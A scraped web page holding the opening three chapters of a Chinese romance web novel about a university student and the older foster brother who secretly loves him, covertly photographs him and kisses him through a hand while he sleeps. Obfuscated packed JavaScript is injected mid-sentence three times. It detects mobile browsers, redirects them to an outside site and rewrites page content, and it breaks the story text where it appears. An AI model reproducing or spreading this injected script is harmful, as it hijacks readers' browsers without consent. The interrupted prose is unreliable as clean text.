《网恋奔现发现对象是养兄》 1. 第 1 章 “轰隆——哗哗——呜~~噼里啪啦!” 床上鼓起一小团的被子抖了抖,一个毛绒绒的脑袋从被子里慢吞吞探了出来。 闻昭在睡梦中被吵醒,有点懵,还以为是他哥出差回来了。 少年的头发因睡姿不老实,乱蓬蓬的,杏眼里带着迷蒙的睡意,下巴一搁,脸颊两侧被拱起来的被子压出来一点脸颊肉。 闻昭揉了揉眼睛,凌晨的房间里一片漆黑,他下意识呢喃:“……哥?” 尾音很软,有些哑哑的,带着浓浓的依恋。 闻昭没听到赵危行的声音,只见眼前忽然闪开一片白光。 即使拉着遮光的窗帘,但闪电光太亮,从窗帘的缝隙漏进屋里的部分,都照得室内宛如白昼。 闻昭心里一惊,瞬间清醒了,还没来得及捂耳朵,下一秒,震耳欲聋的雷声几乎是贴在他耳边轰然炸响,连带着心脏都跟着一震。 滨城的夏季总伴随雷暴,即便现在都到了十月中旬,入秋了,偶尔还会在夜里暴雨倾盆、雷电交加。 他最害怕打雷了! 从被子里探出的脑袋嗖一下缩回被子里了,动作快得像躲避天敌的仓鼠。 闻昭闭着眼睛胡乱抓来枕头,把自己脑袋蒙在枕头下,用被子把整个人裹住,一直手伸出去,在床边来回摸索,一碰到手机,又嗖一下,把手机拽进被子里。 被子里鼓起一个包,露出微微的亮光。 闻昭躲在被子里,顶着枕头,解锁手机。 等手机屏幕随着环境暗成一个眼睛能适应的亮度,闻昭咬着下唇点开微信,唯一一个置顶的联系人,备注是哥。 轰隆。 滨城的雷暴和本地人一样豪爽,下雨干脆利落泄洪一样,哗啦啦势必要在一夜之间把半个月的降雨量全抖落干净,就这么一阵子,又打了两声雷,敲鼓似的,邦邦响。 闻昭拿手机的手都在抖,指尖冰凉,冷汗津津。 他真的讨厌打雷,像是鼓点敲在他心上,连带着胸腔都憋闷。 他和他哥的上一条消息还停留在昨天22:15。 哥:【上飞机了。】 【今晚滨城会下雨,你记得把家里的窗户关严,自己屋子里拉好窗帘。】 相纸什么时候降价:【一路平安哥】 【[仓鼠比心.jpg]】 【晚上下雨哥你开车回来注意安全呀】 【我想等你回来[委屈.jpg]】 【你几点回来】 哥:【要凌晨后,不用等我,你早些睡。】 相纸什么时候降价:【[仓鼠沮丧.jpg]】 【那好吧……】 【晚安哥】 【古德鹦鹉宁】 然后赵危行就没有回他消息了,应该是调到了飞行模式。 赵危行最近对他态度好冷淡,以前不管怎么样,都会回他一句“昭昭乖,晚安,好梦”之类的,但最近已经很久都没有发过了。 这次要不是闻昭周末回家,他甚至都不知道赵危行不在公司,去申城出差去了! 他哥最近很坏,以前去哪里都会提前和他说的。 刚刚醒来,他还以为是他哥回来了,没想到是被雷雨声吵醒的。 但即使赵危行最近很冷淡,闻昭在打雷的时候还是第一个想到他。 他小的时候就很害怕打雷,每次一有雷暴天气,他就会立刻抱着自己的小枕头和小被子,轻车熟路钻他哥的房间,哼哧哼哧爬上他哥的床,把自己连人带枕头带被子一起,全都送进他哥暖呼呼的被窝里。 赵危行比他大十岁,情绪稳定,沉稳可靠。 每当这时候,赵危行就会掀开被子,把小小一团的闻昭抱进怀里,用宽大温热的手掌按在闻昭的后颈,沿着脊椎骨从上到下,轻轻地一遍一遍按揉抚摸,直到他不再发抖。 还会把他踩在地板上冻得发凉的脚捧起来按在大腿上捂热,闻昭会就着这个姿势,蜷缩在赵危行怀里,重新睡着,有他哥抱着他,不管窗外怎么电闪雷鸣作妖渡劫,闻昭都不害怕。 轰隆! 窗外又是一声响,雷声像是巨物砸在地上,震得窗户都在震荡。 闻昭把被子边边又往里卷了卷,把自己往床角靠墙的地方缩成一团,看了眼手机。 现在是凌晨一点半,申城到滨城的航班一般都是两个小时,滨城的机场就在市中心,开车回来半小时不到。 赵危行应该回来了。 思及此,闻昭把自己卷成寿司卷,拎着枕头,光脚踩在地上,啪嗒啪嗒往赵危行的房间里走。 都不用开灯,窗外闪电闪得像是音乐节的射灯,唰唰唰亮得晃眼。 噼里啪啦的雨敲打窗户,加上呜呜风声,轰隆雷声做鼓点,真像在打碟。 闻昭一边害怕,一边苦中作乐,神游天外。 赵危行的房间就在旁边,闻昭习惯性抬手去按指纹密码。 他们俩个上学的上学,上班的上班,家里会定点请家政来清扫,赵危行工作的重要资料比较多,为了防止纠纷,家里书房和两间主卧都安装了指纹锁,录入了他俩的指纹。 赵危行什么都不会避着他的,手机密码、支付密码、银行卡密码,赵危行都告诉他了,甚至让他记牢了、背住了,不准忘,说哥哥的就是你的。 闻昭本以为这次雷雨夜还会和之前一样,他钻进他哥的被窝里,他哥搂着他睡觉。 滴滴—— 门锁亮起来红色的警示灯。 指纹错误。 闻昭微微蹙起眉,他又重新按上拇指。 滴滴—— 诶?他指纹不好使了? 闻昭不信邪,又挨个手指头都试了一遍,全都是红色的错误。 他又转去输入密码,家里的密码,赵危行全都设置成了闻昭的生日。 滴滴—— 密码错误。 不是吧? 他哥把他的指纹删了?还把密码改了? 闻昭鼻子一酸,他从来没被赵危行这么对待过,一种委屈的憋闷感直接从胸腔往上涌,冲进眼眶。 他抬手敲门。 “哥……打雷了,我害怕……你开开门嘛。” 闻昭眼眶红红的,压着声音里的哭腔。 赵危行的房间里很安静,闻昭敲了很久的门,都没有声音,敲得他的指节都有些痛了,微微发红。 闻昭眼眶也红了,他倚着门坐在地上,拿出手机,本来想打电话,但转念一想,万一他哥出差回来很累了呢? 他瘪了瘪嘴,最终闷闷地用手指在屏幕上戳戳点点,只发了条消息。 相纸什么时候降价:【哥你怎么把卧室密码改了[仓鼠大哭.jpg]】 没等两秒,赵危行的消息就弹了出来。 哥:【还没睡?】 闻昭一愣,回头看了看悄无声息的卧室,又看看手机,发消息。 相纸什么时候降价:【哥你还没到家吗】 【打雷吓醒了[委屈.jpg]】 哥:【嗯,滨城雷暴停航,飞机备降青城了,起飞时间还没定,需要看天气。】 原来是还没回家呀,还以为他哥不愿意理他呢。 闻昭注意力一下就被转移走了。 【哥那你注意安全!】 【现在这么晚了你到休息的地方了嘛】 哥:【在休息室,你放心。】 相纸什么时候降价:【怎么在休息室!】 【雷暴还不知道什么时候停呢】 【哥你找个酒店休息一晚吧】 【或者换个交通方式】 【雷暴结束了还有雨呢不安全】 【[仓鼠大叫.jpg][仓鼠急得团团转.jpg]】 怎么备降还回头了呢,不如绕一点再往北,他哥还能开车或者坐高铁回来,青城和滨城隔了一整个渤海湾,除非他哥变成鱼游回来,没别的交通方式了。 哥:【不用担心我,你早点睡。】 【耳塞在二楼楼梯口柜子最上面的抽屉里,把窗帘拉严些,下床的时候穿拖鞋,别感冒了,戴好耳塞,回房间睡觉吧。】 看到赵危行给他发的新消息,闻昭这才想起来正事。 他哥还没解释为什么删掉他的指纹改掉密码! 相纸什么时候降价:【哥,我想去你床上睡】 哥:【……乖,回房间。】 相纸什么时候降价:【我不,打雷的时候我在你屋里才能睡着[仓鼠跺脚.jpg]】 哥:【你长大了,努力克服一下,可不可以?】 相纸什么时候降价:【哥哥,求求你了[委屈.jpg]】 【你就让我进房间嘛……】 【你的床有安全感,真的!】 【哥哥哥哥哥哥……】 【我将一直憋气到你让我进房间】 赵危行回了个冷冰冰的【闻昭,不行】之后,就没再回他的消息了。 二层的复式里,被时不时炸亮的闪电晃得一黑一白,像是恐怖片里的雨夜。 滨城十月中旬,已经是一场秋雨一场寒,夜雨的气息微凉,无处不在般潜入。 闻昭把被子裹在身上,缩在门口,后背倚着门板,在空旷的家里看起来小小的一团。 闪电照亮少年因惊到而略有些苍白的脸色,五官很漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219178|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛乌润漆黑,左眼眼下还有一颗明显的小痣,不胖,就是脸颊两侧带着点没褪尽的婴儿肥。 倒真像是他那套成系列的仓鼠表情包。 他闷闷地着鼓着腮帮子,再憋不住气,重重吸了一口气,低声控诉他哥,竟然叫他大名,他哥最近竟然一直叫他大名,都不叫昭昭了! “太过分了!哼……我现在就要找朱姨告状。” 朱姨是赵危行的妈妈,闻昭的妈妈是画家,爸爸是摄影师,会随机刷新在世界稀奇古怪的角落,朱姨和赵叔是他爸爸妈妈从小玩到大的发小,所以闻昭三岁的时候就被送到朱姨家寄养了,朱姨和赵叔对他比对他们亲儿子还好。 小声嘀嘀咕咕半天,闻昭也没有点开朱姨的聊天窗口。 闻昭从小就不会告状,只会傻乎乎跟着赵危行跑。 他的作息很规律,十一点睡觉,七点起床,是赵危行给他养成的八小时睡眠好习惯,现在闻昭困得上下眼皮直打架,几乎要贴在一起,但大脑却一直在畏惧雷声,又困又清醒,根本睡不着。 闻昭亮着手机刷视频转移注意力,看博主整理仓鼠的小窝。 手机扩音器开到最大,“盆儿!抓!抛!抓!抛!小鼠!回家!” 节奏感卡得很好,有些淡淡的幽默,难得能冲淡轰鸣雷声带来的惊吓。 闻昭手指紧紧抓着手机,呼吸放松了一点。 不知过了多久,外面的雷声渐淡,雨声也停歇,闻昭困得点头如小鸡啄米,手机从手上滑落,就这样就着缩在被子里倚着门的姿势,一歪头睡着了。 凌晨五点,天色朦胧着,家门无声打开。 一身正装的男人进了家门,把黑伞斜倚在门外,轻声关上门。 赵危行的黑色半框眼镜上沾了几滴雨珠,偏分露额的短发发梢有些潮湿,额角眉峰上方留下几缕发丝,斜斜垂落略过眉骨。 他放心不下昭昭,没选择改签第二天正常的航班,怕错过当夜的飞机,一直在休息室闭目养神,航站楼信号又不好,没办法支持视频通话,只能一直到等到塔台宣布可以通航,赵危行立刻坐上快到凌晨四点的航班,回了滨城。 刚上楼,就看见门口缩着一小团,赵危行有些自责地叹了口气。 果然,越担心什么,越会发生什么。 昭昭这一晚肯定没休息好。 赵危行轻轻走了过去,伸手探了探闻昭额头的温度,松了口气,还好,没着凉。 他把闻昭连人带被子一起抱了起来。 迷迷糊糊中,闻昭感受到了熟悉的气息。 他费劲将眼睛睁开一条缝,模糊地看到了熟悉的人。 一晚上都睡不踏实的闻昭终于放下心来,习惯性地往赵危行怀里缩去,用额头轻轻蹭了蹭他的胸口。 “你回来啦……哥……” 声音含混粘糊,小猫儿似的呓语,听不怎么清楚。 “嗯。” 赵危行低低地应了一声。 “继续睡吧,昭昭。” 闻昭安安心心熟睡过去。 赵危行抱着他走到卧室,把闻昭轻轻放在床上,枕头归位,细细给闻昭掖好被子。 闻昭睡得很熟,胸口自然起伏,呼吸绵长。 赵危行站在床边,无声注视着他。 窗外风平雨停,一片被洗净的蓝调时刻。 男人垂着眼,安静地盯着床上的少年,静止不动,似乎像一尊雕像。 只有视线,缓缓描摹过浓黑的眼睫,在眼下的小痣上逡巡片刻,最后缓缓落在饱满的唇上。 赵危行忽然弯下腰,手臂撑着床头,小心地俯身,身体没有碰到床。 他另一手向前伸去,手掌隔着细微的距离,落在闻昭的唇上,缓缓低下头。 一缕发丝因重力下垂,落在镜框上,他微微闭眼。 赵危行的手掌贴着闻昭的唇瓣,而他自己的唇落在手背上。 隔着一只手,相当于他亲吻到了闻昭的嘴唇。 而后,赵危行睁开眼,神情没有丝毫变化,在闻昭被他弄醒前,迅速起身抽手,离开了闻昭的房间。 指纹锁被打开,赵危行推开自己的卧室门。 没有拉窗帘,透过窗子,房间里落了一片熹微的晨光。 照亮满墙的照片——照片里的人全都是他的昭昭。 微蒙的光线在亮面的照片上闪烁着光斑,像粼粼水波纹。 喜、怒、哀、乐,熟睡的、弹吉他的、拍照片的、运动的,都是他用“哥哥”的名义,正当理由拍的,却用不正当的心思,挂了卧室满墙。 床头,还放着闻昭的旧衣服。 他怎么敢让闻昭进他的卧室? 2. 第 2 章 闻昭是迷迷糊糊被饭菜的味道香醒的。 屋里压着暗色,鎏金的光影从窗帘的角落洒进来,勾勒出暖融融的雏形。 天已放晴了。 滨城的雨停得总是干净利落。 闻昭睡觉总会滑溜到枕头下面,被子就会蒙到鼻梁上,只露出一双充斥着困意的杏眼。 闻昭眨了眨眼,把自己彻底缩进被子里蛄蛹了一圈,才慢吞吞爬下床,眼睛眯着还睁不开呢,人就跟着鼻尖充斥的香味儿飘出卧室了。 下了楼梯,走到拐角,还磕到了膝盖,即使这样,也没清醒过来。 餐桌旁,赵危行穿着灰色的纯棉居家服,胸前挂着黑色围裙,手里正端着刚做好的早饭,皮蛋瘦肉粥蒸腾氤氲着飘香的热气。 他将手里的碗放到桌上,食指指节推了下黑色半框眼镜,抬头看过来,视线又微微下落,落在闻昭的光着的脚上。 即使从小教到大,闻昭也总养不成穿拖鞋的习惯,总乐意光着脚丫在家里蹦蹦跳跳。 少年皮肤冷白,宽大的睡裤裤管晃荡着,露出一截脚踝,很漂亮,跟腱修长,小腿和脚上没多少肉,骨感分明。 家里采光很好,木制地板上洒着阳光,少年赤着脚,皮肤下若隐若现的青色血管,随着摇摇晃晃走来的小碎步一同在赵危行眼底流转。 赵危行直直看了两秒,清了清嗓音里的哑意,才开口:“闻昭,又不穿拖鞋。” 闻昭揉了揉眼睛,迷糊着走过去,习惯性凑到赵危行身前,等他哥揉揉他的脑袋。 赵危行伸出手,动作却在半空中一僵,手指微微蜷曲,顿了一瞬,立刻收回手臂,垂在身侧。 闻昭眯着眼等了半天,也没等到头顶的重量,索性一头扑进他哥怀里。 “忘记啦……”他软着嗓子撒娇,“哥……我好困,都怪你。” 虽然睡懵了还没清醒,但闻昭可是记着昨晚赵危行没让他进房间的仇呢,所以他现在可以理直气壮不穿拖鞋,也不用担心赵危行教训他。 这样想着,闻昭又把脑袋往赵危行怀里磨蹭,呼吸间全是熟悉又令人安心的气息。 赵危行身子骤然一僵,他双手环在闻昭身侧,落下也不是,抬着也不是。 “……先坐下吃早饭。”赵危行僵着身子往后退了半步。 闻昭脑袋黏在赵危行身上,跟着他的动作往前一倒。 赵危行顿时止住,手臂下意识环到闻昭的腰上,稳住两人的身形。 夏秋之交,身上的睡衣很薄,隔着那一层薄薄的布料,赵危行能清晰又明显地感受到怀中少年纤细得过分的腰肢,他的手掌大,几乎一手就能握住一大半。 赵危行的喉结滚动了一下,仿佛触电般收回手,顿了顿,不动声色站直了,把闻昭按在饭桌。 “你今天十点零五有高数。”赵危行抬起手腕看表,确定时间,“现在差两分钟九点,先吃早饭,吃完饭我送你去学校。” 闻昭的起床瞌睡瞬间吓飞了。 也不困了,也不黏人了,整个人一激灵,“九点了?!” 他昨晚睡得晚,手机也不知道丢到哪里去了,没听见闹表,他还以为自己是按正常作息七点起床呢! 闻昭连忙把粥端到眼前,刚要囫囵吞,一只骨节分明的大手伸到眼前,按住了他的饭碗。 紧接着,半杯温水递了过来。 “先喝温水。”赵危行说,“不急,时间足够。” 闻昭的胃不是很好,小时候有一次偷吃放在冰箱里冻得冰凉的西瓜,把胃伤到了,落下了病根,赵危行这些年一直看着他,每天早起要先喝半杯温水再吃饭,吃东西也得细嚼慢咽。 他哥很细心,这么多年,闻昭的胃被慢慢温养着,即使很脆,但饮食和习惯良好,肠胃从没疼过。 “谢谢哥。” 闻昭乖乖接过玻璃杯,双手捧着凑到嘴边,小口小口抿着,水温一直都是他哥把控,微微温热。 慢慢把半杯水喝完,闻昭才开始吃早饭。 等闻昭吃早饭的功夫,赵危行上了二楼,去闻昭的卧室里,挑出一整套衣服,又拿了拖鞋,下了楼,衣服搭在沙发上,拖鞋放到了闻昭脚边。 闻昭正蜷着脚趾点在地板上,慢慢喝着粥,闭着嘴咀嚼肉丝,脸颊侧的婴儿肥随着嚼的动作鼓鼓的,余光瞥见赵危行的动作,他习惯性抬起腿。 以前他不穿拖鞋乱跑,赵危行总会精准逮住他,把他往沙发或者床上一抗,然后半蹲在他面前,攥着他的小腿肚,强硬地给他穿上拖鞋,才准他到处溜达。 这么多年,闻昭早就养成习惯。 但是这次,赵危行却没动。 男人垂眸,在那全然信任的、伸在他眼前的脚上沉沉看了两秒,淡声吐出三个字。 “自己穿。” 闻昭一愣,咕嘟一口把嘴里的粥全咽了,险些噎到。 还没等他说什么,赵危行已经毫不留情地转身走了,留给他一个冷酷的背影。 闻昭瘪了瘪嘴,闷闷把拖鞋穿上,低着头用力咬了一口盘子里的水煮蛋,想象着把赵危行捏在牙齿间用力啃咬。 闻昭的心思很细腻,他能够很明显得感受到周围人态度细微的变化和不同,情绪感官很敏感。 以前,别人都说赵危行眼皮薄、鼻梁高、嘴唇薄、唇色淡,脸型线条生得很冷硬,会显得人有点冷清刻薄,但唯独在照顾弟弟的时候,会笑,眉眼和唇形,都会恰到好处地勾起温柔的弧度。 以前,他喜欢在雷雨天抱着枕头被子钻进他哥的卧室,也喜欢在他哥下班回家时八爪鱼一样扑到他哥身上。 赵危行会用低沉悦耳的声线喊他“昭昭”,温柔地揉他的头,而他会仰头明媚笑着回应“哥我来啦”。 但赵危行似乎很久都没对他露出笑意了。 毫无征兆地,赵危行对他忽然冷淡起来。 开始叫他的大名,不会揉着他的脑袋说昭昭真乖,开始躲避他依赖性的肢体接触。 闻昭以前没细想。 前段时间高考结束,闻昭和同学出去毕业旅行,暑假中途生了个病,又兴冲冲地准备开学,开学后认识了很多新同学,忙的不亦乐乎。 他给他哥发的很多有趣、新鲜的消息,他哥都只是象征性地回复了几句,叮嘱他注意安全、好好学习这类不走脑子不走心的官话。 但闻昭还在适应学校的新生活,即使心里有点不舒服,也没多想。 即使细想了,闻昭也还是会给赵危行找借口,比如哥哥最近工作忙、项目进行到关键时刻压力大、太累了等等…… 但是现在!闻昭再也没有办法说服自己,这一切都只是错觉了。 在他不知道的时候,赵危行甚至改掉了卧室的指纹和密码,不再允许他随意进出自己的卧室。 如果不是昨晚雷暴,他还想像以前一样钻进他哥怀里,他估计会一直蒙在鼓里。 所以闻昭可以百分百确定。 他哥变了! 变得如此冷漠! 变得不像以前一样喜欢他了! 爱都是体现在小细节里的,他发现他哥明显就是在疏远他。 鼻子又开始酸涩起来,咸香的皮蛋瘦肉粥也变得味同嚼蜡,闻昭手里捏着勺子,有一搭没一搭地戳着碗里的粥,食不知味地把早饭吃完。 吃完早饭,闻昭去刷牙。 他小时候刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睡衣领口还荡着,大片大片锁骨晃荡在眼前,赵危行不用垂眼,就知道闻昭左边锁骨下方,被衣服遮掩住的地方,那里还有一颗很清晰的小痣,和左眼眼下的呼应。 而闻昭就这样毫无征兆、毫无防备地,乐呵呵、傻乎乎,全然信任他,还像小时候一样,让他检查有没有刷干净牙齿。 这颗果实,被他亲手养大的果实,似乎触手可得,任他采撷。 赵危行眼神暗了暗,他坐直了身体,换了个姿势,双腿交叠,把电脑扣上,往大腿根部挪了挪。 落在沙发上的手微微攥紧,赵危行没控制住,声音冷了些,就连说出的话都有些慌不择言。 “以后自己注意,不用再让我看了。” 闻昭一下子顿住了,这还是他哥第一次用这种不耐烦的语气跟他说话,愣了好半天没反应过来,慢慢闭上嘴巴。 怎么这么凶啊? 闻昭鼻头酸酸的,眼眶瞬间红了,视线氲了些模糊水雾,不太清晰,他用力眨了眨眼,吸了吸鼻子,闷闷往沙发上一坐,坐在赵危行旁边,开始换衣服。 赵危行收回视线,余光里,闻昭刚刚撩起睡衣的下摆,一截腰身白得晃眼。 “换衣服回房间。”赵危行别过视线,哑声说。 闻昭又是一愣,转头看见他哥似乎是嫌弃地皱着眉,觉得他很烦似的。 明明是他哥把他衣服拿下来的,以前都是他哥给他搭配的衣服,他也是在楼下当着他哥的面换,也没见他哥说什么。 他究竟是哪里惹到赵危行了? 闻昭又气又恼,腾一下站起来。 “回就回!” 闻昭红着眼尾,气鼓鼓地瞪了一眼赵危行,抓起衣服噔噔噔跑上楼。 少年落下的尾音里,带着点委屈的鼻音。 赵危行将手指捏得更紧,硬是克制住要立刻转头去哄的冲动。 等到楼上传来砰的一声摔门声,赵危行才放松下来,缓缓回过头,摘下眼镜,垂下头,闭眼捏了捏眉心。 然后有些懊恼地扇了自己一巴掌。 3. 第 3 章 闻昭早十的高数没有迟到。 他们家的位置很好,是当初赵危行精挑细选的,离闻昭以前读的初高中和现在的大学都很近,开车只要十分钟就到。 当初赵危行读大学的时候,闻昭还在上初中,赵危行每天早晨和晚上先给闻昭做好饭,送他去上学,然后才开车去学校上早八。 闻昭现在和赵危行上的同一所大学,滨城理工是他们省最好的985,甚至在全国也排的上号。 他们又都是滨城本地人,小时候寒暑假也去过别的城市旅游度假,但回家后都觉得还是滨城的气候好、宜居,冬暖夏凉,不干不潮,临海交通便利,经济文化也都不错。 家就在这儿,俩人之前商量过,也没有去别的城市闯荡的意思,思来想去,闻昭高考完也报了工大,最后录取的专业是软件工程。 因为他哥创业的公司跟IT技术有关,闻昭也耳濡目染,以后想跟赵危行一起工作。 赵危行毕业六年多了,是优秀毕业生,也是榜样校友,有学校的校友卡,开车能自由进出学校,省下了闻昭在校内赶路的时间。 他哥总是这样,说的少,做的多,总是能面面俱到地帮他顾及好生活中的一切小细节,很是令人安心。 虽然闻昭的父母总是远在外地,但他被他哥养得很好。 不过话又说回来了。 老教授在讲台上滔滔不绝讲鬼画符,闻昭坐在第一排,一边听课一边走神。 闻昭一手拿着笔,一手落在桌面下,搓搓他书包上挂着的毛绒玩偶。 他哥送他来的时候在车上说的话是什么意思啊? 什么叫“闻昭,你也长大了,成年了,我不能一直陪你,生活上以后就需要你自己多注意了”。 说完这句话,赵危行把他昨晚忘记充电的手机递给他,手机已经充满电了,让他好好上课,中午回宿舍补半小时的睡眠。 说的什么话这是!以前赵危行明明跟他说,会一直把他当弟弟的。 他哥难不成要弃养他? 闻昭越想越难受,把毛绒挂件丑萌丑萌的脸捏到一起,扯着拉索一拽,黑色愤怒小猫咪挂件就嗷嗷嗷无声扑腾。 “嘿!昭咂,愣啥呢?下课了还不走?” 闻昭的肩膀被冷不丁拍了一下,他吓了一跳,回头看见一张放大的脸。 是井星航,他高中同桌,关系很好,和他成绩差不多,也在工大,虽然不是一个专业,但高数这种公共大课还是在一起上的。 闻昭这才回过神,环顾四周,见周围同学都走的差不多了。 他瞥了眼后半节课空荡荡的笔记,无声叹了口气。 得,一走神就是半节课,回头得去图书馆把落下的知识点补上。 “哦,走的走的,这就走。”闻昭应了一声,开始魂不守舍地收拾他的书本和笔记。 “咋了啊这是?” 井星航凑过来,特别顺手把胳膊搭在闻昭肩膀上,顺着闻昭的视线,看见了空空如也的笔记本,乐了:“哟,你也没听懂?” “嗐,我就说,那些符号好像一堆虫在爬……反正你就记着可导一定连续,连续不一定可导就完事儿了,就那黄色自行车图片,还是你教我的呢!” 井星航大大咧咧地拍了拍闻昭的肩膀,帮他把笔袋空投进书包,拉着人就往食堂跑。 “……”闻昭微微谴责地看着他,“这都是半个月前的知识点了……你不会又在最后一排打游戏吧?” 井星航无所谓,“这有啥,期末熬夜突击一下又不会挂。” 闻昭想了想,又叹了口气:“那你要早点开始复习哦,我回去整理一下笔记给你。” “乖宝儿你咋这么好啊!你好好学,我到时候可要抱你大腿了。至于现在嘛……吃饭不积极,思想有问题!” 闻昭应了一声,先解锁手机,看了眼微信,和赵危行的聊天框。 上一条消息是上课前他发的。 相纸什么时候降价:【哥我到教室了。】 闻昭甚至恶狠狠地发了一个句号呢! 他平时发消息都是几个字几个字唰唰蹦出去,而且还会跟一个表情包,这次都没有。 他用这种方式暗戳戳跟他哥生闷气。 他哥那么了解他,他不信他哥看不出来! 但赵危行没给他回消息,闻昭眼神黯淡了些。 井星航在门口喊他,闻昭这才扯了扯书包带子,跟着朋友快步往食堂走。 书包上满满当当挂了七八个丑萌的毛绒绒挂件,跟着闻昭的步伐在身后晃晃悠悠。 中午的食堂人满为患,闻昭和井星航好不容易找到个位置。 耳边是窗口大爷“来,同学,这边,往前来”的吆喝,带着滨城特有的方言。 闻昭按照习惯,饭前小口小口抿着保温杯里的温水,对面井星航已经狼吞虎咽炫了一半。 “昭咂,你最近怎么一直丧丧的?” 闻昭愣了一下,揉了揉脸颊,问:“有吗?” 井星航:“太明显了哥们,你心里肯定有事儿。” 闻昭抿唇,低着头没说话,夹了根西芹放到嘴里慢慢咀嚼。 他胃不好,膳食纤维很难消化,如果不好好嚼碎,就会堆积在肠胃里,很容易胃反流或者呕吐。 偶尔哪次半夜没消化起来吐得昏天暗地,赵危行就会立刻点亮小夜灯陪在他身边,轻轻拍着他的后背,给他递来温水漱口,翻出家里常备的药。 等他缓好了,用被子一裹,把他抱进自己的床上,提前备好的热水袋揣进他睡衣里,把被褥卷成舒服蓬松的小窝。 他哥丝毫不嫌弃脏兮兮的呕吐物,把地板收拾干净后,会轻手轻脚地上床,把他抱紧怀里,轻轻按摩他的腹部。 贴在他耳边,轻声哄他睡觉。 赵危行的手掌温热,按在肚子上,很好地缓解了他胃部的不适。这时,闻昭就会把整个脑袋都埋进赵危行的胸口,鼻尖都是熟悉又温暖的气息。 想到这,闻昭又郁闷了,他生不起来赵危行的气了。 他哥就是很好嘛。 吃过了饭,下午两节大课上晚,晚上的时候,闻昭被井星航拉着去了学校周边的一家小酒馆,说要带他散散心,消消愁。 闻昭给赵危行发了消息。 相纸什么时候降价:【哥,我晚上和朋友去一趟小酒馆】 【会十点前回宿舍哒[乖巧.jpg]】 这次,赵危行倒是立刻回复他了。 哥:【吃晚饭了么?】 直接喝酒伤胃,闻昭知道他哥的意思,所以回复。 【吃了!】 哥:【好,注意别喝太多。回学校给我发信息。】 毕业之后过十八岁生日的时候,赵危行怕他在外面和朋友聚餐玩开心了喝多,提前在家里起了几瓶酒,帮他盯着酒量,以后出去不能喝超。 闻昭那天迷迷糊糊的,微醺之后更加粘人,像八爪鱼一样粘在赵危行身上不下来了,最后也不知道他哥怎么把他弄到床上睡觉的。 “昭咂?又走神了?” 井星航把手放在他眼前晃了半天,闻昭才反应过来,晃了晃手里的酒杯。 暗色的光影流转在杯中晶莹剔透的酒液里,玻璃杯壁外沁着一层薄薄的水雾,打湿闻昭修长的指尖。 闻昭垂眸看着玻璃杯上的湿痕。 井星航闷了一口,问:“咋?你失恋了?” 闻昭瞪大眼睛,立刻摇头:“怎么可能?我都没喜欢的人。” “闻昭,把不把我当哥们儿,”井星航放下杯子,嬉皮笑脸的模样淡去了,有点担忧地问,“你该不会是遇上什么事了吧?你以前可是总笑眯眯像小太阳,现在明显心情特别不好。” 井星航这话说的倒是没错,闻昭面容长得精致,眼睛又大又亮,身材是偏瘦的匀称,偏偏脸颊带着点婴儿肥,头发碎碎的,很蓬松,高中同学都一致觉得他像小仓鼠似的,平时无忧无虑,总笑着,一笑起来,就连同是男的的他,都得暗暗夸一声可爱。 闻昭对此接受程度良好,买了一堆仓鼠毛绒挂件,还用仓鼠表情包,神态就跟表情包越来越像(不是) 但上大学这一个多月井星航就没怎么见闻昭笑过,郁闷得头顶都要挂乌云了。 闻昭看看一脸关切的朋友,又叹了口气。 井星航立刻逮住了他的小动作,“你瞧瞧你,这会儿功夫都叹多少气了?” “你知道校园墙怎么捞你的?都说你是软件学院大一的忧郁学弟。这tag都打你身上撕不下来了,我说不是啊不是啊,我是他朋友他不忧郁啊,都没人信。” 闻昭:“……” 什么东西。 闻昭不想让朋友担心,微微蹙眉,还是决定坦白。 闻昭组织了一下语言,说,“是我哥。” “我哥从几个月前就不知道怎么回事,忽然对我的态度很冷漠。我不知道是不是我哪里做错了什么,惹他不开心了。” “你哥啊。”井星航放心了,“吓我一跳,还以为出什么大事儿了。” 井星航知道闻昭有个不是亲哥但是胜似亲哥比亲哥还亲的哥。 “很大的事。”闻昭固执道。 井星航:“恕我们独生子理解不了这种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219180|197498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感浓度,请对方辩友举例子。” 闻昭:“他不叫我小名了。” 井星航:“太正常了,我妈要是再叫我航航我会起一身鸡皮疙瘩。” 闻昭:“他经常不回我消息。” 井星航:“我爸上次回我还是在一周前给我打生活费,平时估计都快忘了有我这个儿子了。” 闻昭顿了顿:“……他还不让我进他卧室了,不让我去他床上睡了!” 井星航张大了嘴巴,懵了:“不是,你……经常去你哥床上睡吗?” 闻昭:“……啊。” 井星航:“……” 一种古怪的气氛在小酒桌旁蔓延开来。 闻昭见井星航理所应当瞪着俩眼珠子,憋了半天,“跟你说不通了!” 一股不被理解的委屈感涌上心头,闻昭低下头,酒杯在视线里模糊,酒馆里暖色流光影影憧憧,眼泪掉进酒杯里,在那一方小小的水面上漾起一圈涟漪。 闻昭抬起杯子抿了一口,酒是甜的,但喝到嘴里有点苦涩,弥漫在齿关。 “诶我。” 